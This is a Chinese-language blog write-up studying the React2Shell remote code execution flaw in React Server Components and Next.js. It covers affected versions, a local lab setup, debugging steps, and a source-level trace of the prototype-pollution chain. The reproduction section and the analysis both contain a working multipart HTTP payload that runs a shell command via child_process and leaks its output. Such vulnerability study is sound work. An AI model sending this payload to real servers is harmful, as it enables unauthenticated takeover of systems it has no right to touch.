CVE-2025-55182 React2Shell漏洞学习

前言

开摆。


漏洞信息

漏洞的基本信息来自腾讯元宝的回答。

基本信息

  • 漏洞名称​:React2Shell(CVE-2025-55182)
  • CVSS评分​:10.0(最高风险等级)
  • 漏洞类型​:远程代码执行(RCE)
  • 利用前提​:无需身份认证
  • 核心问题​:React Server Components的Flight协议存在不安全反序列化

影响范围

此漏洞的影响范围相当广泛,主要波及基于React Server Components构建的应用。

  • React核心包:react-server-dom-webpack、react-server-dom-parcel、react-server-dom-turbopack的19.0.0至19.2.0版本均受影响。安全版本为19.0.1,19.1.2,19.2.1及更高版本。
  • Next.js框架:使用App Router的Next.js框架受影响严重,包括>=14.3.0-canary.77、>=15和>=16版本(独立漏洞编号CVE-2025-66478)。
  • 其他框架:React Router、Waku、RedwoodJS、Vite、Parcel等使用了RSC实现的框架或插件也可能受到影响。
  • 豁免情况:纯客户端渲染(CSR)、无RSC的传统SSR、静态导出(output:’export’)的Next.js项目、React 18及以下无RSC能力的版本不受影响。

漏洞原理

该漏洞的根源在于React Server Components架构中的Flight协议在处理客户端传来的数据时,存在致命的不安全反序列化问题。

  • 不安全的反序列化:RSC通过Flight协议在客户端和服务端传输数据。当服务端解析客户端发送的序列化数据时,其requireModule函数没有对模块路径进行充分的合法性校验,并且缺少关键的hasOwnProperty检查。这使得攻击者可以构造恶意的数据包。
  • 原型链污染:攻击者通过特殊构造的字段名(如$1:__proto__:then或$1:constructor:constructor),能够污染对象的原型链。这好比伪造了一把钥匙的模具,能批量生成可以打开特定锁的钥匙。
  • 获取代码执行能力:通过原型链污染,攻击者可以劫持程序执行流程,最终访问到JavaScript的全局Function构造函数。这相当于拿到了一个可以在服务端动态执行代码的“万能钥匙”。
  • 触发远程代码执行:当React处理特定的Blob引用(如$B1337)时,会使用已被污染的_formData.get方法(此时已是Function构造函数)来执行_prefix中的恶意代码字符串,从而实现远程代码执行。

环境搭建

漏洞发生在React Server Components(RSC)架构,这是一种与Server Side Rendering(SSR)、Client Side Rendering(CSR)不同的架构,

React架构

CSR

根据参考文章介绍,当用户访问网站时,会收到一个HTML启动器,里面只有短短数行代码,用于加载JavaScript在客户端完成DOM节点构造、页面渲染等工作:

1
2
3
4
5
6
7
<!DOCTYPE html>
<html>
<body>
<div id="root"></div>
<script src="/static/js/bundle.js"></script>
</body>
</html>

CSR架构会将React、其他的第三方依赖和项目的所以代码都打包到bundle.js文件里,用户下载和解析该文件后,React会开始执行,转化项目的所有node节点,并将他们注入到空节点<div id=’root’>中。

在这架构下,用户一开始只会看到一个空白的页面。随着时间的推移,这种现象会变得越来越明显,因为每一次新特性的迭代、新功能的开发,都会带来一些额外的字节体积到bundle.js,进而就会延长用户需要等待的时间。同时,由于还没有从后端取得用于展示的数据,所以页面只能渲染一些加载状态的骨架(头部,底部和一些通用的layout)。

SSR

SSR的设计就是用来改善用户的等待情况的,在这种架构下,相较于CSR只会发送一个空的HTML页面,SSR会在服务端先进行一次渲染工作,从而生成一个成型的HTML页面,之后再下载JavaScript来完成事件绑定等工作。

RSC

但是上述两种方式都有一个问题,那就是页面是按照先渲染框架再请求数据的顺序来执行的,这其中存在两次前后端交互行为,在获取数据期间,用户只能看到一个加载状态的页面,直到数据返回并重新渲染页面。

为了解决这个问题,React提出了React Server Components(RSC),引入了服务端组件。服务端组件将本来该下载JavaScript后再进行的请求数据和数据库查询操作,提前到了最开始,用户最早接收到的就是一个已经渲染好数据的页面。服务端组件不会重新渲染,它们只会在服务端执行一次来生成UI,渲染的结果会被锁定并发送给客户端。就React而言,这个结果是不可变的,也永不会变。

一个服务端组件如下,它们会在服务端执行,简单总结就是完成数据库查询操作,并生成包含实际数据的HTML片段给用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
export default async function NoteList({searchText}) {
const notes = (
await db.query(
`select * from notes where title ilike $1 order by id desc`,
['%' + searchText + '%']
)
).rows;

return notes.length > 0 ? (
<ul className="notes-list">
{notes.map((note) => (
<li key={note.id}>
<SidebarNote note={note} />
</li>
))}
</ul>
) : (
<div className="notes-empty">
{searchText
? `Couldn't find any notes titled "${searchText}".`
: 'No notes created yet!'}{' '}
</div>
);
}

既然服务端组件不可变,那自然也需要一个可变的组件来实现交互和重新渲染的功能,比如客户端组件,它们会被打包发送到客户端,一个客户端组件大概这个样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
'use client';

export default function EditButton({noteId, children}) {
const [isPending, startTransition] = useTransition();
const {navigate} = useRouter();
const isDraft = noteId == null;
return (
<button
className={[
'edit-button',
isDraft ? 'edit-button--solid' : 'edit-button--outline',
].join(' ')}
disabled={isPending}
onClick={() => {
startTransition(() => {
navigate({
selectedId: noteId,
isEditing: true,
});
});
}}
role="menuitem">
{children}
</button>
);
}

React官方的给出了一个简易的RSC项目,看看代码可以对React的RSC架构有更清晰的认识。

漏洞复现

可以使用前面提到的官方简易项目做测试,然而整个项目还是做些简易功能,有不少代码,甚至还带了数据库,着实没有那么方便。根据参考文章,可以通过npm简单构造一个Next.js项目来做测试。

安装好NodeJS语言环境后,使用npm构造Next.js项目:

1
npm create next-app@16.0.6 cve-2025-55182 -y

然后通过WebStorm等工具启动,或者使用命令启动:

1
npm run dev

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 568

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"var o=Buffer.from(process.mainModule.require('child_process').execSync('dir')).toString('base64');var e=new Error();e.digest='NEXT_REDIRECT;push;http://x/'+o+';307;';throw e;","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

可以看到:

1
2
3
4
5
6
7
8
HTTP/1.1 303 See Other
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
Cache-Control: no-store, must-revalidate
x-action-redirect: http://x/目录文件名们;push
Date: Thu, 14 May 2026 12:37:21 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 0

漏洞利用成功。

漏洞分析

React Flight协议

询问AI,得到的结果为该协议是React团队为React Server Components(RSC)设计的自定义流式序列化协议,专门用于在服务端和客户端之间高效传输React组件树、数据和引用,结构上类似JSON。

相比JSON,普通JSON在传输React组件时存在局限性:

1
2
3
4
5
6
7
8
9
10
// 普通JSON - 无法表示引用、Promise、函数等
{
"user": { "name": "Alice" },
"posts": [{ "author": { "name": "Alice" }}] // user重复传输
}

// Flight协议 - 支持引用共享
0:{"name":"Alice"} // Chunk 0: user对象
1:{"author":"$0"} // Chunk 1: 引用Chunk 0
2:{"user":"$0","posts":["$1"]} // Chunk 2: 根对象

特殊引用符号:

  • $@:Chunk引用(Promise → “$@1”)
  • $K:FormData引用(FormData → “$K1”)
  • $B:Blob引用(Blob → “$B1”)

还有$1这种写法,在React Flight协议中,$1和$@1都是引用符号,但它们的核心区别在于引用的目标类型和语义完全不同,$1​引用的是普通的模型数据(JSON可序列化的值),引用之前已经传输过的、确定的、静态的数据块:

1
2
0:{"id":123,"name":"Alice"}  # Chunk 0:传输了用户Alice的数据
1:{"author":"$0","title":"Hello"} # Chunk 1:通过 `$0` 引用Chunk 0的数据,而不是重新传输一遍

而$@1​引用的是一个Promise(代表异步任务或惰性加载的数据流),引用一个 异步数据流。这个数据可能还没准备好,需要后续传输:

1
2
3
0:["$@1"] # Chunk 0:根组件需要一些数据,告诉客户端“去 `$@1` 这个Promise里找”
...(客户端开始渲染不依赖此数据的部分)...
1:"This is the resolved async data" # Chunk 1(稍后到达):解决(resolve)了ID为1的Promise,数据到达

当客户端解析 [“$@1”]时,它会创建一个Promise,并订阅流中ID为1的后续消息。当收到1:”This is the resolved async data”时,就用这个字符串值来解决之前创建的Promise。

Next.js作为React的官方推荐框架,深度集成了Flight协议:

  • 当用户触发Server Action(如提交表单)时,浏览器发送POST请求
  • Next.js服务端接收请求后,使用相应的解码器(如decodeReplyFromBusboy)解析Flight协议字符串
  • 将字符串还原为JavaScript对象,执行服务端逻辑
  • 结果通过Flight协议流式传输回浏览器

断点调试

断点可以直接下在app/page.tsx里,但是启动调试服务器,并通过bp、浏览器等方式访问后,根据断点跟踪的调用栈会走到webpack文件里,下不了断点,捣鼓了半天搞不懂,只能换个法子调试了。

谷歌一下找到了参考文章,里面也提到了这种基于浏览器的调试方式,其优点在于环境搭建简单,无需使用专门的编译调试软件。缺点在于只能在打包后的代码文件经SourceMap映射后得到的源码处设置断点,无法直接在Next.js框架源码文件上设置断点。

想要调试就要启用–inspect标志,这是是Node.js的一个核心调试标志,用于启用基于Chrome DevTools协议的调试器。它允许你使用图形化界面(如Chrome浏览器或 VS Code)对Node.js应用进行完整的源码调试、性能分析和内存检查。启动时,Node.js会开启一个WebSocket服务器,监听一个指定的端口(默认9229),并输出一个可点击的调试URL。

在Windows系统上,还需要先安装cross-env,这是一个用于解决在不同操作系统(如 Windows、macOS 和 Linux)中设置环境变量的兼容性问题的npm包:

1
npm install -g cross-env

然后修改package.json,在启动命令添加cross-env和–inspect标志:

1
2
3
4
"scripts": {
"dev": "cross-env NODE_OPTIONS='--inspect' next dev",
...
},

然后启动:

1
npm run dev

终端会打印出监听端口相关的信息:

1
2
3
4
5
6
7
8
9
Debugger listening on ws://127.0.0.1:9229/485b47ee-f205-4c20-8245-aa8510fa08d6
For help, see: https://nodejs.org/en/docs/inspector
Debugger listening on ws://127.0.0.1:9230/c6f50bed-f67b-4b10-affe-fbdf0bf6fb2d
For help, see: https://nodejs.org/en/docs/inspector
[baseline-browser-mapping] The data in this module is over two months old. To ensure accurate Baseline data, please update: `npm i baseline-browser-mapping@latest -D`
▲ Next.js 16.0.6 (Turbopack)
- Local: http://localhost:3000
- Network: http://192.168.121.1:3000
- Debugger port: 9230

分别是:

  • 3000:Web应用服务的端口
  • 9229:dev模式下服务器守护进程的调试端口
  • 9230:应用进程的调试端口

然后在chrome浏览器打开chrome://inspect/,可以看到Remote Target,不过我这里只有9229端口的目标,所以需要点击Configure按钮,添加上9230端口的目标,该端口关联的是start-server.js。

然后点击9230端口目标下面的inspect按钮打开DevTools窗口,转到Sources窗口就可以开始调试了。此外,由于Chrome浏览器调试默认不会加载node_modules目录下的SourceMap映射,因此还需要在源代码调试页面右上角点击设置按钮,在Ignore listing项页面中,点击Enable ignore listing项前的勾选框去除勾选。

最后在打开的DevTools窗口里,找到react-server-dom-turbopack-server.node.development.js文件,给decodeReplyFromBusboy方法内部下个断点,尝试发包调试,就可以触发断点了。

此外,还有基于vscode的调试方式,更多关于Next.js源码的开发、构建、测试等官方文档参见Contributing to Next,以后如果要用到再说。

分析

入口点为ReactFlightDOMServerNode.js文件中的decodeReplyFromBusboy函数,其中解析字段的代码段如下:

1
2
3
4
5
busboyStream.on("field", function (name, value) {
0 < pendingFiles
? queuedFields.push(name, value)
: resolveField(response, name, value);
});

调用resolveField函数开始处理包体,此时的name和value分别为0和我们属于的一大段payload:

1
2
3
4
5
6
7
8
function resolveField(response, key, value) {
response._formData.append(key, value);
var prefix = response._prefix;
key.startsWith(prefix) &&
((response = response._chunks),
(key = +key.slice(prefix.length)),
(prefix = response.get(key)) && resolveModelChunk(prefix, value, key));
}

再进入到resolveModelChunk函数,此时的prefix放置着的chunk0的一些信息,包括我们payload中含有的status和reason,猜测其中有所关联:

1
2
3
4
5
6
7
8
9
10
11
12
var resolveListeners = chunk.value,
rejectListeners = chunk.reason;
chunk.status = "resolved_model";
chunk.value = value;
chunk.reason = id;
if (null !== resolveListeners)
switch ((initializeModelChunk(chunk), chunk.status)) {
case "fulfilled":
wakeChunk(resolveListeners, chunk.value);
break;
...
}

将key和value也放入chunk中,再进入initializeModelChunk函数开始解析包体数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
resolvedModel = chunk.value;
chunk.status = "cyclic";
chunk.value = null;
chunk.reason = null;
try {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(
chunk._response,
{ "": rawModel },
"",
rawModel,
rootReference
);
...
}

通过JSON解析将包体数据解析为对象:

1
2
3
4
5
6
7
8
9
10
11
12
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "var o=Buffer.from(process.mainModule.require('child_process').execSync('dir')).toString('base64');var e=new Error();e.digest='NEXT_REDIRECT;push;http://x/'+o+';307;';throw e;",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}

数据结构跟chunk是相近的,也就是说这里伪造了一个chunk对象,然后进入reviveModel函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ("object" === typeof value && null !== value)
for (i in value)
hasOwnProperty.call(value, i) &&
((parentObj =
void 0 !== reference && -1 === i.indexOf(":")
? reference + ":" + i
: void 0),
(parentObj = reviveModel(
response,
value,
i,
value[i],
parentObj
)),

当输入的value为对象时,会遍历其中的内容并嵌套调用reviveModel函数,如”then”: “$1:__proto__:then”这一对键值对会被拆解成then和$1:__proto__:then,然后回到reviveModel函数开头,进入分支解析仍是字符串的值:

1
2
3
4
5
6
7
8
if ("string" === typeof value)
return parseModelString(
response,
parentObj,
parentKey,
value,
reference
);

再进入parseModelString函数,此时parentObj为之前JSON解析出来的对象,parentKey为then:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
function parseModelString(response, obj, key, value, reference) {
if ("$" === value[0]) {
switch (value[1]) {
case "$":
...
case "@":
...
case "F":
...
case "T":
...
case "Q":
...
case "W":
...
case "K":
...
case "i":
...
case "I":
...
case "-":
...
case "N":
...
case "u":
...
case "D":
...
case "n":
...
}
switch (value[1]) {
case "A":
...
case "O":
...
case "o":
...
case "U":
...
case "S":
...
case "s":
...
case "L":
...
case "l":
...
case "G":
...
case "g":
...
case "M":
...
case "m":
...
case "V":
...
case "B":
...
}
switch (value[1]) {
case "R":
...
case "r":
...
case "X":
...
case "x":
...
}
value = value.slice(1);
return getOutlinedModel(response, value, obj, key, createModel);
}
...
}

在第一个字符为$的情况下,会开始一大段对第二个字符的switch筛选,而此时的value为$1:__proto__:then,第二个字符为1,不符合任何一个筛选,因此会进入getOutlinedModel函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
id = getChunk(response, id);
switch (id.status) {
case "resolved_model":
initializeModelChunk(id);
}
switch (id.status) {
case "fulfilled":
parentObject = id.value;
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]];
return map(response, parentObject);
case "pending":
case "blocked":
case "cyclic":
var parentChunk = initializingChunk;
id.then(
createModelResolver(
parentChunk,
parentObject,
key,
"cyclic" === id.status,
response,
map,
reference
),
createModelReject(parentChunk)
);
return null;
default:
throw id.reason;
}
}

reference即$1:__proto__:then,这个函数用于处理第一个字符为$且第二个字符为数字的情况,这种情况会被认为是在外联一个其他chunk,将reference根据冒号:拆成三部分,就会根据$1调用getChunk函数获取chunk1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function getChunk(response, id) {
var chunks = response._chunks,
chunk = chunks.get(id);
chunk ||
((chunk = response._formData.get(response._prefix + id)),
(chunk =
null != chunk
? new Chunk("resolved_model", chunk, id, response)
: response._closed
? new Chunk("rejected", null, response._closedReason, response)
: createPendingChunk(response)),
chunks.set(id, chunk));
return chunk;
}

由于现在还在处理chunk0,chunk1还未生成,因此会生成一个占位的pending chunk返回到id变量,然后进入switch筛选,最后调用id.then函数注册回调,使用createModelResolver函数生成回调函数,等到chunk1生成完成后再回过头来。同样的,”get”: “$1:constructor:constructor”也会有同样的流程。

处理完成chunk0除then以外的键值对后,开始处理chunk1,走到parseModelString函数,由于此时的value为$@0,因此会走入这个分支:

1
2
3
4
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);

引用了chunk0,并通过getChunk函数获取到chunk0,此时的chunk0为blocked状态,回到resolveModelChunk函数,调用wakeChunk开始回调之前createModelResolver函数生成的回调函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
return function (value) {
for (var i = 1; i < path.length; i++) value = value[path[i]];
parentObject[key] = map(response, value);
"" === key &&
null === blocked.value &&
(blocked.value = parentObject[key]);
blocked.deps--;
0 === blocked.deps &&
"blocked" === chunk.status &&
((value = chunk.value),
(chunk.status = "fulfilled"),
(chunk.value = blocked.value),
null !== value && wakeChunk(value, blocked.value));
};

此时的path为之前chunk0外联chunk1时留下来的:

1
2
3
4
5
[
"1",
"__proto__",
"then"
]

因此第一句遍历结束后,value就会变成Chunk.__proto__.then,再通过map函数,将包体数据解析出来的对象里面的then成员换成了Chunk.__proto__.then方法。同样的,_response -> _formData -> get也会被换成Chunk.constructor.constructor,即Function构造函数,以后调用get函数就会变成调用Function构造函数,生成一个新的自定义方法。

至此,被放置在chunk0.value中的包体数据就会被构造成:

1
2
3
4
5
6
7
8
9
10
11
12
{
"then": Chunk.__proto__.then,
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "var o=Buffer.from(process.mainModule.require('child_process').execSync('dir')).toString('base64');var e=new Error();e.digest='NEXT_REDIRECT;push;http://x/'+o+';307;';throw e;",
"_formData": {
"get": Function
}
}
}

根据参考文章所说,这是一个伪造的thenable对象,而且是一个合法的Chunk对象,各属性均为Chunk对象可持有的。

当在wakeChunk方法或根Chunk对象的then方法中对其调用resolve方法后,会调用该构造Chunk对象的then方法:

1
2
3
4
5
6
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
}

由于status被构造为resolved_model,因此会进入initializeModelChunk -> reviveModel -> parseModelString函数,由于此时value为,因此会进入这个分支:

1
2
3
4
5
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);

由于get已经被覆盖为了Function,因此会根据我们输入的_prefix构造出一个新的方法并返回,方法内容就是:

1
var o=Buffer.from(process.mainModule.require('child_process').execSync('dir')).toString('base64');var e=new Error();e.digest='NEXT_REDIRECT;push;http://x/'+o+';307;';throw e;0

该自定义函数被写回了value键里,在调用initializeModelChunk函数处理完resolved_model的Chunk后,Chunk的then方法还有这么一段:

1
2
3
case "fulfilled":
resolve(this.value);
break;

因为this.value带有then方法,被视作一个thenable对象,然后通过resolve函数触发其then函数,恶意代码被执行,实现RCE。

回过头去看第一次then的调用,找到decodeReplyFromBusboy函数的返回值和被调用的地方:

1
2
3
4
5
6
7
8
9
// 返回
return getChunk(response, 0);

// 被调用
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)

存在一个await Chunk0的行为,根据调用栈猜测因此会调用Chunk.__proto__.then方法处理Chunk0,再在其中调用resolve处理value,导致了then函数的第一次调用。

补充一下,根据参考文章对于Promise的说法:

1
2
3
4
5
6
Promise对象表示异步操作最终的完成(或失败)以及其结果值。异步操作不会立即返回最终值,而是返回一个Promise对象,以便在将来的某个时间点提供该值。一个Promise对象必然处于以下几种状态之一:

- 待定(pending):初始状态,既没有被兑现,也没有被拒绝;
- 已兑现(fulfilled):意味着操作成功完成,会返回一个结果值;
- 已拒绝(rejected):意味着操作失败,会返回一个原因(错误)。
Promise对象的状态变为被兑现或拒绝,其实例的then方法将被调用。then方法最多接收两个参数:分别用于Promise对象兑现和拒绝情况的resolve以及reject回调函数,在状态改变时会根据状态调用不同的回调函数返回结果值。

以及对于React内部Chunk对象的状态的解释:

1
2
React内部对于Chunk对象的处理就是通过状态机来实现的。其status属性表示了当前Chunk对象的状态,取值有RESOLVED_MODEL、CYCLIC、INITIALIZED等。根据不同的状态,又有不同的实现,如ResolvedModelChunk对象、CyclicChunk对象以及InitializedChunk对象等;value属性根据当前状态的不同,存储了原始表单数据、数据解析后的对象、resolve监听器数组等;reason属性根据当前状态的不同,存储了表单字段key键或reject原因,或reject监听器数组等;_response属性则存储了该Chunk对象对应的Response对象。
Chunk对象的的then方法首先会判断当前Chunk对象的状态,如果当前Chunk对象的状态为RESOLVED_MODEL,则会调用initializeModelChunk方法进行初始化和解析。初始化后,Chunk对象的状态会发生改变,因此再次判断Chunk对象的状态。如果Chunk对象的状态为INITIALIZED,则调用resolve回调函数,传入解析后的value属性值;如果Chunk对象的状态为PENDING、BLOCKED或者CYCLIC,则将当前resolve回调函数与reject回调函数作为监听器存储进相应的value属性与reason属性的数组中;否则说明解析出错,调用reject回调函数,传入reason属性值。

参考文章写的INITIALIZED状态在我这里就是fulfilled,原因不明。


参考

一篇掌握React Server Components

深入剖析 React Server Components:原理、应用与性能优势

React2Shell (CVE-2025-55182) 漏洞分析

CVE-2025-55182 - Real React Server Components RCE POC

React Server Components (CVE-2025-55182)远程代码执行漏洞从环境搭建到漏洞复现

CVE-2025-55182


CVE-2025-55182 React2Shell漏洞学习
http://yoursite.com/2026/05/16/CVE-2025-55182-React2Shell漏洞学习/
作者
Aluvion
发布于
2026年5月16日
许可协议